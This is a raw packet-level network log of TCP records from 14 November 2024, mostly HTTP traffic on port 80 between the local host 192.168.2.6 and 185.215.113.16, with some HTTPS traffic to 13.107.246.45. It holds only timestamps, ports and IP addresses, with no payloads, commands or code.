Nov 14, 2024 17:24:38.300802946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300817013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300829887 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.300858021 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.301287889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.301337004 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.301426888 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.301521063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.301531076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.301539898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.301583052 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.301609993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.301934958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.301995993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.302011967 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.302047968 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.302273035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.302283049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.302325964 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.374223948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.374294043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.374304056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.374488115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.374538898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.374548912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.374598980 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.382394075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.382446051 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.382488966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.382498980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.382714033 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.382962942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383021116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383030891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383066893 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.383234978 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383245945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383258104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383266926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383280039 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.383307934 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.383701086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383744955 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.383822918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383833885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383845091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383856058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383867025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383877039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383888006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383888960 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.383897066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.383920908 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.383944988 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.384391069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.384402037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.384412050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.384422064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.384432077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.384443045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.384445906 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.384474993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.384502888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.384999037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385008097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385021925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385026932 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385036945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385046005 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385057926 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.385088921 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.385514975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385526896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385536909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385572910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.385735989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385746956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385756969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385781050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385792017 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.385792971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385807991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385809898 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.385819912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385828972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.385850906 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.385875940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.386528015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386539936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386550903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386559963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386579990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.386593103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386601925 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.386603117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386614084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386624098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386634111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386643887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.386647940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.386687040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.387315989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.387411118 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.389525890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.389590025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.389600039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.389642000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.389985085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.389996052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.390043974 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.395634890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.395679951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.395740986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.395745993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.395750046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.395787954 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.418755054 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.429044962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429086924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429122925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429141045 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.429539919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429550886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429560900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429572105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429582119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.429584026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429594994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429605961 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.429611921 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.429630041 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.429647923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.430279970 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.430491924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430505037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430516005 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430526972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430536985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430547953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430547953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.430558920 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430571079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.430586100 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.430608034 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.431652069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.436073065 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.436654091 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.436718941 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.437881947 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.437896967 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.441284895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.464006901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.464040041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.464051008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.464092970 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.464133978 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.491643906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.491658926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.491672039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.491717100 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.499726057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.499783993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.499823093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.499834061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.499886990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.500338078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500349045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500360012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500371933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500411987 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.500467062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500478983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500531912 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.500709057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500719070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500761986 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.500938892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500948906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500960112 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.500968933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501106977 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.501308918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501319885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501331091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501339912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501363039 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.501401901 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.501703024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501715899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.501756907 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.501995087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502006054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502016068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502027035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502036095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502063036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.502094030 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.502533913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502546072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502557039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502566099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502577066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502587080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.502588987 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.502623081 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.503099918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503110886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503123045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503132105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503142118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503154993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.503189087 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.503190041 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.503808022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503820896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503830910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503842115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503853083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503860950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503873110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503878117 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.503884077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503895044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.503923893 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.503923893 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.504748106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504761934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504771948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504782915 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504795074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504803896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504806995 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.504815102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504826069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504827023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.504836082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.504844904 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.504863977 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.504893064 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.505614042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505677938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505690098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505697966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505709887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505721092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505731106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505733967 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.505740881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.505774021 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.505774021 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.505806923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.509094000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.513973951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.513999939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.514010906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.514053106 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.542156935 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.542681932 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.542704105 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.543327093 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.543332100 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.546042919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546104908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546117067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546143055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.546179056 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.546329975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546391010 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546401978 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546412945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546423912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.546441078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.546473026 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.546989918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547002077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547010899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547020912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547033072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547041893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547041893 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.547070026 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.547671080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547683001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547693014 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547703981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547715902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547728062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547739029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.547740936 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.547772884 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.547800064 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.548556089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.557316065 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.581188917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.581202984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.581212044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.581264973 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.594624996 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.615149975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.615240097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.615252018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.615326881 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.619326115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619343996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619354963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619379997 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.619411945 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.619430065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619441032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619451046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619461060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.619482994 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.619512081 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.620125055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620136976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620146036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620157957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620172977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620187044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620193005 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.620198011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.620223045 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.620254040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.621048927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621059895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621068954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621081114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621090889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621099949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621108055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.621112108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621123075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621134996 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.621165037 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.621812105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621823072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.621865034 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.622005939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622016907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622028112 CET	80	49830	185.215.113.16	192.168.2.6
